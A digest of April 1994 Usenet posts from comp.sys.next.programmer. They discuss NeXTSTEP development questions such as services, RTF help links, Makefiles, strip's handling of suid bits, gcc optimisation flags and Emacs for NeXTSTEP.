Newsgroups: comp.sys.next.programmer From: arrouye@petole.imag.fr (Yves Arrouye) Subject: Urgent services questions (help needed, too) Message-ID: <1994Apr29.120123.6049@imag.fr> Sender: news@imag.fr Organization: Institut Imag, Grenoble, France Date: Fri, 29 Apr 1994 12:01:23 GMT Hello, I have some questions regarding services provided by an application: 1. How is it possible to add services dynamically *without* having to write a MyApp.services/services file? I think this is possible because (I think) I remember that TickleServices did not create such a file. 2. Is there a supported way to let dynamically-loaded bundles add services or do I have to force them to use my services delegate's method, and let this method dispatch the calls depending on the user data? If only that is possible, it means that you cannot add services to an application which let you augment its capacities with user-written bundles, and so the exten- sibility is limnited to the application itself because you cannot provide new services? 3. Why is it impossible to advertise a service with no send type nor return type? I would classify this fact (if it is confirmed) as a bug because this may be extremely useful. What do you think? Thanks for any help, Yves. -- Advocates for the C++ school claim that a well designed Yves Arrouye program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr while advocates for the Objective-C school claim that (33) 76 57 48 64 the errors are no problem in practice (another lie). NeXT Mail
Newsgroups: comp.sys.next.programmer Subject: Re: Those Link buttons in Help & Edit, What the heck? Message-ID: <1994Apr29.122240.517@stone.com> From: andrew@stone.com (Andrew Stone) Date: Fri, 29 Apr 1994 12:22:40 GMT Sender: andrew@stone.com References: <1994Apr28.102527.5258@prim.demon.co.uk> Organization: Stone Design Corp Keywords: Solution Text Delegate In article <1994Apr28.102527.5258@prim.demon.co.uk> dave@prim.demon.co.uk (Dave Griffiths) writes: > In article <1994Apr27.223019.426@stone.com> andrew@stone.com writes: > >I'm writing an app to allow viewing a hierarchy of README files, all in > >the same window. The motivation is that I love those little blue link > >buttons that you can insert into RTF text to link to other files in a > >relative hierarchy: in our new CDROM I use this to browse around, but who > >wants to keep closing Edit windows? If you've never played with them in > >Edit: Format->Help->Insert Link. > > > >Anyway, has anyone figured out how to use these devils? In Edit and the > >NXHelpPanel, they correctly open the file in the link, but if you click on > >them in your own text window or Mail, they do zilch. > > It's interesting that they appear at all in your own Text object (and I once > tried putting help links into the NeXT documentation in the hope that DL > would recognize them - the diamond appeared, but did nothing). The Text > object must partially recognize \NeXTHelpLink0 by default. > > >Here's an rtf file, conveniently asciied for you that show one of these > >pups: (to reconstitute, copy it, in a terminal type: paste > /tmp/hi.rtf) > > > >{\rtf0\ansi{\fonttbl\f0\fmodern Ohlfs;} > >\paperw9840 > >\paperh11200 > >\margl120 > >\margr120 > >{\pard\tx1152\tx2304\tx3456\tx4608\tx5760\tx6912\tx8064\tx9216\tx10368\tx 1 > >1520\f0\b0\i0\ulnone\fs24\fc0\cf0{\NeXTHelpLink0 \markername > >;\linkFilename /etc/rc.local;\linkMarkername ;} > > }} > > > >Anyone know how to be notified when the marker gets mouseDown:'ed on? > > What you need to do is to implement your own graphics cell (as described in > the Text class) and make the Text object associate it with \NeXTHelpLink0 > by doing: > [Text registerDirective:"NeXTHelpLink" forClass:[HelpCell class]]; > > where HelpCell is your own graphics cell class (eg subclass of object). You > get the parameters \markername and \linkFilename by parsing the stream in > -readRichText:forView:. > > You'll have to work out where the diamond tiff is stored for your drawSelf. > Also, it looks from the documentation as though only the first call to > +registerDirective is recognized, so that may have to go in +initialize. > > Then just implement trackMouse:inRect:ofView: to find out if it's been > clicked on. > > Maybe you were hoping for an easier solution? :-) It won't help with Mail.app > unfortunately. OK Here's the EASY EASY solution: Forget what I said about overriding the NXLinkCell method! Part of the undocumented API is that the Text's delegate gets this notification message, at the right time (Several people knew about this it turned out): - showFile:(const char *)file atMarker:(const char *)marker This is the minimal amount of API breaking because the worst case is, your delegate won't get called, but nothing dies. And, since I've just got the latest class-dump, here's how you jump to the marker painlessly: @interface Text(MarkerCell) - (char)findMarker:(STR)fp16; @end andrew -- ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>|| !! Andrew Stone | (505) 345-4800 !! !! andrew@stone.com | Stone Design Corp !! ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>||
From: hoff@erft.darmstadt.gmd.de (Holger Hoffstaette) Newsgroups: comp.lang.smalltalk,comp.sys.next.programmer Subject: Re: Smalltalk and NeXT Step Development Message-ID: <8042@darmstadt.gmd.de> Date: 29 Apr 94 14:12:13 GMT References: <Coz5zJ.72A@dvorak.amd.com> <Cozn5A.Jwy@dvorak.amd.com> <2ppdkv$7ui@acme.gatech.edu> Sender: news@darmstadt.gmd.de Organization: German National Research Centre for Information Technology In article <2ppdkv$7ui@acme.gatech.edu>, gt6963c@prism.gatech.edu (John) writes: >What I'd really like to see/know about is st80 for Nextstep, with the >tools for building next-interface applications. (something like >visualworks, with Nextstep looks in addition to the other looks). > >It would especially be nice if you could run them from icons. > >But, even if you can just do regular st80 stuff, I'd like to see >smalltalk on nextstep. Anyone know of such a beastie? AFAIK, ParcPlace's VisualWorks is available for the Motorola NeXT machines, which are not built anymore. Some time ago I sent email to ParcPlace about a port to NeXTSTEP/Intel, but unfortunately the answer was that no plans for a port of the VM exist. What a pity..it would instantly give you the best of both worlds. Pperhaps with HP bugging ParcPlace for the port because of their Distributed Smalltalk..*drool* :-) Greetings, Holger -- Holger Hoffstaette, GMD-IPSI/PaVE (hoff@darmstadt.gmd.de) Smalltalker, NeXTstepper, Amiga veteran, Net citizen. "I'm gonna get myself connected.." - Stereo MC's
From: hamps@richibucto.jpl.nasa.gov (John B. Hampshire II) Newsgroups: comp.sys.next.programmer Subject: Makefile dependencies example needed Date: 29 Apr 1994 16:07:32 GMT Organization: JPL Spacecraft Telecommunication Equipment Message-ID: <2prbc4$rk1@marsupial.jpl.nasa.gov> Keywords: makefile dependencies Two simple questions: 1. ===== Let's say I have the files junk.c garbage.m which both depend on the file crap.h In a conventional C Makefile, I'd have something like junk.o: junk.c crap.h cc junk.c garbage.o: garbage.m crap.h cc garbage.m How can I establish the .h dependency under project builder. I assume I do this in Makefile.pre/postamble: an example would be great. 2. ==== How can I split the methods of a single class into many source files (so a single source doesn't get unwieldy)? Traditionally I've done this by creating the source file MyMethod.m and a directory MyMethodSources in which I have lots of *.m files, which I #include in MyMethod.m I seem to recall that this was the only option when I started NShacking. If there's a better way under NS3.2, what is it? If there isn't, this question is like question 1: how do I set the dependency of MyMethod.m on each of the *.m files in MyMethodSources, so I don't have to touch MyMethod.m each time I re-compile? Thanks in advance. -John -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.WT*7&UA M<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT M>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q M,34R,%QF,%QB,%QI,%QU;&YO;F5<9G,R-%QF8S!<8V8P(%1W;R!S:6UP;&4@ M<75E<W1I;VYS.EP*7`HQ+EP*/3T]/3U<"DQE="=S('-A>2!)(&AA=F4@=&AE M(&9I;&5S7`I<"FIU;FLN8UP*9V%R8F%G92YM7`I<"G=H:6-H(&)O=&@@9&5P M96YD(&]N('1H92!F:6QE7`I<"F-R87`N:%P*7`I);B!A(&-O;G9E;G1I;VYA M;"!#($UA:V5F:6QE+"!))V0@:&%V92!S;VUE=&AI;F<@;&EK95P*7`IJ=6YK M+F\Z(&IU;FLN8R!C<F%P+FA<"@EC8R!J=6YK+F-<"EP*9V%R8F%G92YO.B!G M87)B86=E+FT@8W)A<"YH7`H)8V,@9V%R8F%G92YM7`I<"DAO=R!C86X@22!E M<W1A8FQI<V@@=&AE("YH(&1E<&5N9&5N8WD@=6YD97(@<')O:F5C="!B=6EL M9&5R+EP*22!A<W-U;64@22!D;R!T:&ES(&EN($UA:V5F:6QE+G!R92]P;W-T M86UB;&4Z(&%N(&5X86UP;&5<"G=O=6QD(&)E(&=R96%T+EP*7`HR+EP*/3T] M/5P*7`I(;W<@8V%N($D@<W!L:70@=&AE(&UE=&AO9',@;V8@82!S:6YG;&4@ M8VQA<W,@:6YT;UP*;6%N>2!S;W5R8V4@9FEL97,@*'-O(&$@<VEN9VQE('-O M=7)C92!D;V5S;B=T(&=E=%P*=6YW:65L9'DI/R`@5')A9&ET:6]N86QL>2!) M)W9E(&1O;F4@=&AI<R!B>2!C<F5A=&EN9UP*=&AE('-O=7)C92!F:6QE7`I- M>4UE=&AO9"YM7`IA;F0@82!D:7)E8W1O<GE<"DUY365T:&]D4V]U<F-E<UP* M:6X@=VAI8V@@22!H879E(&QO=',@;V8@*BYM(&9I;&5S+"!W:&EC:"!)("-I M;F-L=61E7`II;B!->4UE=&AO9"YM7`I<"DD@<V5E;2!T;R!R96-A;&P@=&AA M="!T:&ES('=A<R!T:&4@;VYL>2!O<'1I;VX@=VAE;EP*22!S=&%R=&5D($Y3 M:&%C:VEN9RX@($EF('1H97)E)W,@82!B971T97(@=V%Y('5N9&5R7`I.4S,N M,BP@=VAA="!I<R!I=#]<"DEF('1H97)E(&ES;B=T+"!T:&ES('%U97-T:6]N M(&ES(&QI:V4@<75E<W1I;VX@,3I<"FAO=R!D;R!)('-E="!T:&4@9&5P96YD M96YC>2!O9B!->4UE=&AO9"YM(&]N(&5A8VA<"F]F('1H92`J+FT@9FEL97,@ M:6X@37E-971H;V13;W5R8V5S+"!S;R!)(&1O;B=T(&AA=F5<"G1O('1O=6-H M($UY365T:&]D+FT@96%C:"!T:6UE($D@<F4M8V]M<&EL93]<"EP*5&AA;FMS ;(&EN(&%D=F%N8V4N"0D)+4IO:&Y<"EP*"GT* `
Newsgroups: comp.sys.next.programmer From: gmd@hazel.north.de (Gerriet M. Denkmann) Subject: Re: Another Taylor UUCP Compile Problem Message-ID: <Cp0K0q.5Mr@hazel.north.de> Sender: gerriet@hazel.north.de (Gerriet M. Denkmann) Organization: Great Mathematical Developments, Inc. References: <westesCozIBK.A9E@netcom.com> Date: Fri, 29 Apr 1994 09:07:37 GMT In article <westesCozIBK.A9E@netcom.com> westes@netcom.com (Will Estes) writes: > During compile of the picksb.c module in the unix subdirectory off the install > directory, I get: > > picksb.c.57: undefined type, found `DIR' > picksb.c.63: undefined type, found `DIR' > ..... > > What's the workaround? > > -- > Will Estes Internet: westes@netcom.com From my remarks while installing Taylor-uucp 1.04 on Next: We do have dirent.h, but only Posix code uses it. We should use sys/dir.h. So we changed in conf.h: #define HAVE_DIRENT_H 0 /* <dirent.h> */ Hope this helps. Gerriet.
Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer From: karl@trapac.com (Karl Kraft) Subject: Re: /bin/strip is an ugly beast.... Message-ID: <Cp14F1.1AI@trapac.com> Sender: karl@trapac.com (Karl Kraft) Organization: Trans Pacific Container Service Corporation References: <2po1pb$23f@steffi.demon.co.uk> Date: Fri, 29 Apr 1994 16:28:12 GMT In article <2pgdnu$q9@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: > Why does strip not use lstat to determine if it's stripping via a link? In article <2po1pb$23f@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: > Why does strip remove suid persmissions from executables? > Well, I'll join these two threads together, because the answer is the same for both. Let us say you are going to strip a binary called "mycli". When you strip this program, strip moves the file to "mycli.strip" It then reads this file to create a NEW executable called "mycli". This begs the question, "why not strip in place?" Because strip can do more than just kill the macho section that contains debugging symbols. It actually needs to write a new file. You can do it in place. So unless you wanted strip to be a suid program, (BAD IDEA!), it couldn't put suid bits on the new executable. Finally, strip shouldn't be a program you run on random installed binaries. It should be used as part of the "make install" process. It's a part of the build process, not a general tool. Since it's not a general tool don't expect it to behave like one. You can't just strip a binary and expect it to still work. Many programs need to not be stripped to support runtime linking. -- Karl Kraft Karl_Kraft@trapac.com Karl_Kraft@ensuing.com [My opinions are my own]
Newsgroups: comp.sys.next.programmer From: andy@research.canon.oz.au (Andy Newman) Subject: Re: Ns 3.2: Broken printf("%g") and strtod("+") Message-ID: <Coy7sz.49n@research.canon.oz.au> Sender: news@research.canon.oz.au Organization: Canon Information Systems Research Australia References: <2ph15j$gaf@fnnews.fnal.gov> Date: Thu, 28 Apr 1994 02:48:34 GMT kennedy@b0ru01.fnal.gov (Robert Daniel Kennedy) writes: ...stuff about strtod() being broken strtod() also accepts a single "e" as a valid FP number (returning 0.0 and the pointer past the 'e') and also allows a trailing 'e' without an actual exponent - this is broken. > If this is news to others, I will post examples and submit to bug-next. I've reported it before. If you want a good laugh (NOT!) try using memcmp() on NS/FIP with no optimisation (this is important as [g]cc uses its builtin memcmp when it optimises and not the one from the library). When people get memcmp() wrong do you trust them with other things? -- Andy Newman (andy@research.canon.oz.au)
Newsgroups: comp.sys.next.programmer From: byer@mv.us.adobe.com (Scott Byer) Subject: Re: Gecko vs NeXTstation color: compiling Draw.app In-Reply-To: swiet@syzygy.cs.jhu.edu's message of 29 Apr 1994 12:00:23 GMT Message-ID: <BYER.94Apr29105931@birch.mv.us.adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated, Mountain View, CA References: <1994Apr23.081007.764@prim.demon.co.uk> <2plte8$1pr@hptwin.revco.com> <SWIET.94Apr28013947@whatever.cs.jhu.edu> <2pqdhe$hu2@hpsystem1.informatik.tu-muenchen.de> <SWIET.94Apr29080024@syzygy.cs.jhu.edu> Date: Fri, 29 Apr 1994 17:59:31 GMT Alexander Swietlicki writes: Alexander> In article <2pqdhe$hu2@hpsystem1.informatik.tu-muenchen.de> Alexander> meyergru@Informatik.TU-Muenchen.DE (Uwe Meyer-Gruhl) writes: Alexander> O.K., but then you don't have to use -O, too. Alexander> Why not? Gcc supports -g -O. And in the gcc documentation, it Alexander> is encouraged. Yes. This is suc a critical feature. There've been too many times when I've had to go digging in assembly-only 'cause some native compile didn't do both -O -g, and their -O screwed things up. Alexander> The machine speed isn't as significant in debugging. The Alexander> bottleneck is in the thought process. Most of the time the Alexander> debugger is waiting for you to type something. An extra few MIPS Alexander> here and there wouldn't hurt in invoking gdb or using Alexander> watchpoints, though... "My machine idles 20 MIPS faster than your machine!" Actually, the *real* enemy is disk I/O speed. -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. === ===
From: samurai@hasc.ca (Darcy Brockbank) Newsgroups: comp.sys.next.programmer Subject: Re: Gecko chatter Date: 29 Apr 1994 15:12:57 GMT Organization: WSC Investment Services, Inc. Disclaimer: The views represented within this posting are not necessarily those held by WSC Investment Services, Inc. Message-ID: <2pr85p$jrb@cerberus.wsc.com> References: <2pmnag$pnt@news.icaen.uiowa.edu> In article <2pmnag$pnt@news.icaen.uiowa.edu> dsiebert@icaen.uiowa.edu (Doug Siebert) writes: > What you're seeing really isn't "link" time, +O4 doesn't compile the .c files, > it preprocesses them into bogus .o files. The 'cc -o ...' actually runs the > C compiler (uccom) so it can globally optimize over all the .o files that were > compiled with +O4. So passing -O to the linker, while it may help a bit, is > definitely not getting the 20-30% speedup that HP got in the SPEC results from > this new compiler. > > I can imagine since the .o files aren't real .o files, the dynamic linking > thing won't work. Maybe you could compile everything with +O4 except the > dynamically linked stuff, that may turn the trick (or may not...) > Oh! Those tricky guys! Anyway, this is what the compile looked like: cc -Aa +w1 +O4 +Oall main.c .. ld -O ... (all the normal flags except -a archive, which blew away the symbols I needed). I got the ld flags by first running cc -Aa +w1 +O4 +Oall -v. I have to do this because my application is portable, and I have to control the ld line in order to compile properly on all architectures. Anyway, in this case, I didn't get anything too good from +O4. However, my program isn't as computationally expensive as some of the benchmarks are. I mostly do disk IO combined with string manipulation... - darcy
From: samurai@hasc.ca (Darcy Brockbank) Newsgroups: comp.sys.next.programmer Subject: Re: Hints on using Emacs for NeXTstep Date: 29 Apr 1994 15:17:15 GMT Organization: WSC Investment Services, Inc. Disclaimer: The views represented within this posting are not necessarily those held by WSC Investment Services, Inc. Message-ID: <2pr8dr$jri@cerberus.wsc.com> References: <2plhu2$5pe@charm.magnus.acs.ohio-state.edu> In article <2plhu2$5pe@charm.magnus.acs.ohio-state.edu> jreiss@magnus.acs.ohio-state.edu (Joseph W Reiss) writes: > Eps@cs.sfsu.edu wrote... > all the time. Don't know about NXDataLinkManager, but I haven't heard > any complaints about people on color systems having problems with it. > I'm running it quite nicely on a NS Color Station. Perhaps you're > referring to white hardware, of which I can't speak personally, but... I am running on a 486/66 with 1024x768 @ 16bit. It works just fine for me. > > >"Needs work" > > Emacs.app has been very much a collective effort by individuals on the > emacs-for-NS mailing list for some time now. If you feel there are > features that need added, any help you can give in writing them would > be quite welcomed, I'm sure. Carl and others have put a great deal of Emacs always needs work ;-). It doesn't do many things that I want, most of which are part of JOVE. Emacs-19 is the best emacs we have though, and its nice to have it integrated as well as it is to NeXTSTEP. It's really an X application melded onto the NS window server. You get some benefits from both worlds, while not getting all of both. I think it's a fantastic and seamless job. For people that already use Emacs-19 on X, the presence of Emacs-19 on NS will make them very happy. (ie. if the wave of Solaris developers starts using OpenStep, NS-Emacs-19 will be a blessing... if the wave ever comes). - darcy
From: equinox1!ivor@gun.com (Ivo Rothschild) Newsgroups: comp.sys.next.programmer,comp.sys.next.advocacy Subject: Alias for man Date: 29 Apr 1994 17:02:07 GMT Organization: WSC Investment Services, Inc. Disclaimer: The views represented within this posting are not necessarily those held by WSC Investment Services, Inc. Message-ID: <2preif$k6k@cerberus.wsc.com> Keywords: alias,man,joke Here is an alias for man to get the most up-to-date information out of the Next man pages: alias man 'man NSWSd |uniq |tr ''\\010'' '_' | sed ''s/__//g'' |sed ''s/NSWSd/\!*/g'' |sed ''s/"Window Server front-end daemon/feature"/'' |sed ''s/8C//g'' |sed ''s/UNIX/NEXTSTEP/g'' ; echo "BUGS" ; echo " Too many." ; echo ""' Usage: man title As a good example, try: man dbkit :-) -ivo
Newsgroups: comp.sys.next.programmer From: kiwi@belly.in-berlin.de (Axel Habermann) Subject: Re: Hints on using Emacs for NeXTstep Message-ID: <Cp0srE.6n2@belly.in-berlin.de> Sender: usenet@belly.in-berlin.de Organization: - none - References: <BHILL.94Apr28110112@spike.physics.ucla.edu> Date: Fri, 29 Apr 1994 12:16:25 GMT In article <BHILL.94Apr28110112@spike.physics.ucla.edu> bhill@physics.ucla.edu (Brian Hill) writes: [...] > Neither Emacs-4.0 nor emacs under X is launched from a shell that knows > about my environment variables, such as TEXINPUTS. [...] Would you please read the original post carefully: In article <CEDMAN.94Apr24232418@capitalist.princeton.edu> cedman@princeton.edu (Carl Edman) writes: > Now some selections from my ~/.emacs file. [...] > (if window-system > (grabenv)) > > Adding this slow down your startup by a second or two. However, it > will make sure that your Emacs picks up the environment you'd have if > it ran under csh. That is important if you run subprocesses like TeX > or ispell under Emacs. -- Axel Habermann \\|// "Wenn Du nicht kiwi@belly.in-berlin.de (NeXT-Mail) )o o( weisst was Du kiwi@cs.tu-berlin.de (NO NeXT-Mail) \ | / tust, mach's FaxFon: +49 30 4543046 \~/ mit Eleganz!"
From: dillon@apollo.west.oic.com (Matthew Dillon) Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer Subject: Re: /bin/strip is an ugly beast.... Date: 29 Apr 1994 14:50:20 -0700 Organization: Obvious Implementations Corp Distribution: world Message-ID: <2prves$8ml@apollo.west.oic.com> References: <2po1pb$23f@steffi.demon.co.uk> <Cp14F1.1AI@trapac.com> In article <Cp14F1.1AI@trapac.com> karl@trapac.com writes: :same for both. : :Let us say you are going to strip a binary called "mycli". When you :strip this program, strip moves the file to "mycli.strip" It then :reads this file to create a NEW executable called "mycli". : :This begs the question, "why not strip in place?" : :Because strip can do more than just kill the macho section that :contains debugging symbols. It actually needs to write a new file. :You can do it in place. : :So unless you wanted strip to be a suid program, (BAD IDEA!), it :couldn't put suid bits on the new executable. Nonsense, strip doesn't have to be suid in order to set the suid bit when the user running strip owns the file in question! :You can't just strip a binary and expect it to still work. Many :programs need to not be stripped to support runtime linking. This has nothing to do with the incorrect behavior of strip, though. -Matt -- Matthew Dillon dillon@apollo.west.oic.com 1005 Apollo Way Incline Village, NV. 89451 ham: KC6LVW (no mail drop) USA Sandel-Avery Engineering (702)831-8000 [always include a portion of the original email in any response!]
Newsgroups: comp.sys.next.programmer From: jtung@helix.nih.gov (James Tung) Subject: How to use a storage object. Message-ID: <1994Apr29.234528.5761@alw.nih.gov> Sender: postman@alw.nih.gov (AMDS Postmaster) Organization: National Institutes of Health Date: Fri, 29 Apr 1994 23:45:28 GMT yes, yes, I'm sure that I'llprobably get a few flames, but oh well, I have to get this done, no time to run out and buy a few objective C book for NS then figure it out, so I was hoping that some nice programmer out there will take pity on me and help me with this very stupid and elementary problem.... well, it's actually quite simple, I want to be able to create a storage object with a character string of 10 characters and a single floating point variable. This will be a temporary "list"? (I think in C, so it's just a list? ) and this list will be found in a method which takes a long character string, parses it, gets the character string and floating point value out of it, then stores those variables in an element of this storage object, then this method will call the addElement method to attach this element to the storage object. my questions.. 1. the addElement call, does it physically copy the element into some other storage location and then have teh storage object point to it? it doesn't pass just a pointer into the storage object does it? 2. How exactly do I implement this? I've read storage.rtf , and I'm sure that if I go purchase a good book on objective-c syntax, it'll tell me, but I am quickly running out of time. so please help... in psudocode this would look like.... { somehow my element is defined here } myelement {char foo[10];double somevalue;} while(not_done_yet){ myelement=0; //myelement is reused my element_foo="somestring"; myelement_somevalue=12.2; addElement:myelement } hopefully, this will create an equivalent of a linked list as in C, but instead of linked lists, the storage array just points to the individual elements. PS can there be just one storage array? this seems to imply that it is, and I am running quickl;y out of time, please help// Thanks
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: Re: Gecko vs NeXTstation color: compiling Draw.app Date: Fri, 29 Apr 1994 20:41:13 -0400 Organization: Carnegie Mellon, Pittsburgh, PA Distribution: world Message-ID: <UhkOYda00WBMIB1nML@andrew.cmu.edu> In-Reply-To: <SWIET.94Apr29080024@syzygy.cs.jhu.edu> Excerpts from netnews.comp.sys.next.programmer: 29-Apr-94 Re: Gecko vs NeXTstation co.. by Alexander Swietlicki@syz > O.K., but then you don't have to use -O, too. > > Why not? Gcc supports -g -O. And in the gcc documentation, it is > encouraged. Very much so. There are a number of warnings that can only be produced when optimizing (for example, warnings that use 'liveness info' to detect unused variables and variables used before initialization). Also, gcc has been much more extensively tested with -O and there is a better chance that not using -O will run into a compiler bug. -Chuck Charles William Swiger - WhiteLight Systems | "All the world's a stage, and" --------------------------------------------+ "we are merely players...." AMS & normal mail: infidel@cmu.edu | NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | "Semper ubi sub ubi."
From: joe@retina.anatomy.upenn.edu Newsgroups: comp.sys.next.programmer Subject: DBTableView inflexibility Date: 30 Apr 1994 01:50:48 GMT Organization: University of Pennsylvania Distribution: world Message-ID: <2psdho$k4f@netnews.upenn.edu> Hi, I'm sure others must have run up against this limitation as well. I have a DBTableView that contains a to-one relationship, and the whole thing was assembled with IB in the standard way. The documentation says that the relationship properties in that TableView (and associated Module) are read only-- only the attributes native to the Modules root Entity may be changed. What I would like to be able to do is change which record the relationship points to. In other words, I want to reassign the key value in the source entity to match a different row in the target entity than the one that was fetched. It would be nice if I could do this with a simple combination of DBKit Interface objects, but this does not look possible. Are there any third party vendors that distribute more flexible, comprehensive Interface objects for DBKit? Does anyone out there have a custom object that would do the trick? Any pointers appreciated. Thanks. Joe Panico joe@retina.anatomy.upenn.edu
Newsgroups: comp.sys.next.programmer From: dmm0t@rincewind.mech.virginia.edu (David Meyer) Subject: complaints about Emacs for NS (was Re: Hints on using Emacs for NS) Message-ID: <Coxstn.HnJ@murdoch.acc.Virginia.EDU> Sender: usenet@murdoch.acc.Virginia.EDU Organization: University of Virginia References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <BYER.94Apr26110828@birch.mv.us.adobe.com> <2pkqet$4pt@nic-nac.csu.net> Date: Wed, 27 Apr 1994 21:24:59 GMT In article <2pkqet$4pt@nic-nac.csu.net>, Eric P. Scott <eps@cs.sfsu.edu> wrote: >Let's see... it doesn't honor -NXOpen, so I can't use it as a >default application. It doesn't use NXDataLinkManager, so it >won't work with RBrowser. It has 92dpi *hardwired*, so it does >the wrong thing on many color systems. etc. etc. > >"Needs work" Then why don't you work on it, rather than whining about it? Frankly, I think Carl et al have done a pretty good job on a difficult task, and I appreciate the work that's been put in on it. Certainly they deserve better than for their work to be dismissed out of hand just because it's not perfect. Dave -- David M. Meyer Mechanical & Aerospace Engineering dmm0t@rincewind.mech.virginia.edu University of Virginia NeXTmail ok
Newsgroups: comp.sys.next.programmer From: jimbo@oingo.umn.edu Subject: VB vs IB (My experience) Message-ID: <Cp255B.G27@news.cis.umn.edu> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota, Twin Cities Date: Sat, 30 Apr 1994 05:39:25 GMT Recently I have had an oportunity to program in Visual Basic for Windoze (the professional veraion). Anyway, was actually amazed at how simple it was to develope a real, usefull app in a short time frame. I have been using IB off and on for two years now, but never used VB before untill last week. In about 4 days I had an app written that communicated with two other programs via DDE and accessed it's own internal DB using ACCESS and SQL queries, and using the installation kit was able to build an install disk that all the user has to do is click the setup program and all the files are correctly coppied and set up including any DLL's that are needed for ACCESS and DDE calls. I have never been able to put together such a comprehensive app complete with DB, DDE and installation in 4 days using IB. What does this mean for me? It means that I LOVE my NeXT and will never get rid of it, but I made more money in four days using VB than I have ever made off my NeXT and the beauty is that I will make even more money with future modifications, enhancements etc... My 2 cents
Newsgroups: comp.sys.next.software,comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: Hints on using Emacs for NeXTstep In-Reply-To: robert@steffi.demon.co.uk's message of 28 Apr 1994 23:56:17 GMT To: robert@steffi.demon.co.uk (Robert Nicholson) Message-ID: <CEDMAN.94Apr29093038@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <ROBERT.94Apr27140203@steffi.demon.co.uk> <CEDMAN.94Apr27194437@capitalist.princeton.edu> <BHILL.94Apr28111810@spike.physics.ucla.edu> <CozJtr.rnJ@mozo.cc.purdue.edu> <BHILL.94Apr28142050@spike.physics.ucla.edu> <ROBERT.94Apr29005617@steffi.demon.co.uk> Date: Fri, 29 Apr 1994 13:30:38 GMT In article <ROBERT.94Apr29005617@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: I think the best thing here would be to write a function that returns the window depth.. and use that accordingly in .emacs Probably should support NXWindowDepthLimit too for easy testing. No need to write such a function. Here is a partial list of functions which tell emacs about what kind of display is connected: display-color-p, color-defined-p, display-pixel-width, display-pixel-height, display-mm-width, display-mm-height, display-screens, display-planes, display-color-cells, display-visual-class, display-backing-store, display-save-under. All of these work under X and NS. To do what Brian requires, you'd do something like this in your ~/.emacs (sorry, no dwrites for that kind of thing): (setq default-frame-alist (cons (cons 'background-color (if (display-color-p) "AntiqueWhite" "White")) default-frame-alist)) Carl Edman
Newsgroups: comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: Finding hardware and OS version In-Reply-To: mcgredo@crl.com's message of 28 Apr 1994 14:13:48 -0700 To: mcgredo@crl.com (Donald R. McGregor) Message-ID: <CEDMAN.94Apr29093444@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <westesCozIBK.A9E@netcom.com> <2pp8uc$c4s@crl.crl.com> Date: Fri, 29 Apr 1994 13:34:44 GMT In article <2pp8uc$c4s@crl.crl.com> mcgredo@crl.com (Donald R. McGregor) writes: Is there an approved way to determine (1) the hardware NeXT is running on (Moto, Intel, HP, etc), and (2) the OS version? I don't see anything in the release notes or summaries. Read the manual sections on host_kernel_version(), host_info() and processor_info(). Carl Edman
Newsgroups: comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: Gecko vs NeXTstation color: compiling Draw.app In-Reply-To: Charles William Swiger's message of Fri, 29 Apr 1994 20:41:13 -0400 To: Charles William Swiger <infidel+@CMU.EDU> Message-ID: <CEDMAN.94Apr29214545@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <UhkOYda00WBMIB1nML@andrew.cmu.edu> Date: Sat, 30 Apr 1994 01:45:42 GMT In article <UhkOYda00WBMIB1nML@andrew.cmu.edu> Charles William Swiger <infidel+@CMU.EDU> writes: Excerpts from netnews.comp.sys.next.programmer: 29-Apr-94 Re: Gecko vs NeXTstation co.. by Alexander Swietlicki@syz > O.K., but then you don't have to use -O, too. > > Why not? Gcc supports -g -O. And in the gcc documentation, it is > encouraged. Very much so. There are a number of warnings that can only be produced when optimizing (for example, warnings that use 'liveness info' to detect unused variables and variables used before initialization). Also, gcc has been much more extensively tested with -O and there is a better chance that not using -O will run into a compiler bug. All very true. However, there still are reasons not to compile with -O when you are debugging. Most importantly (and unavoidably) -O performs code transformations which while they leave the code functionally invariant may be confusing to you when you run the debugger. For example, -O may completely remove assignments to temporary variables if it can prove that doing so doesn't change the result of the code. However, if you check the value of such a variable in the debugger you may be surprised to find that it doesn't have the value you expected (and you may quite possibly start looking for a non-existent bug in your code responsible for this behavior). Carl Edman
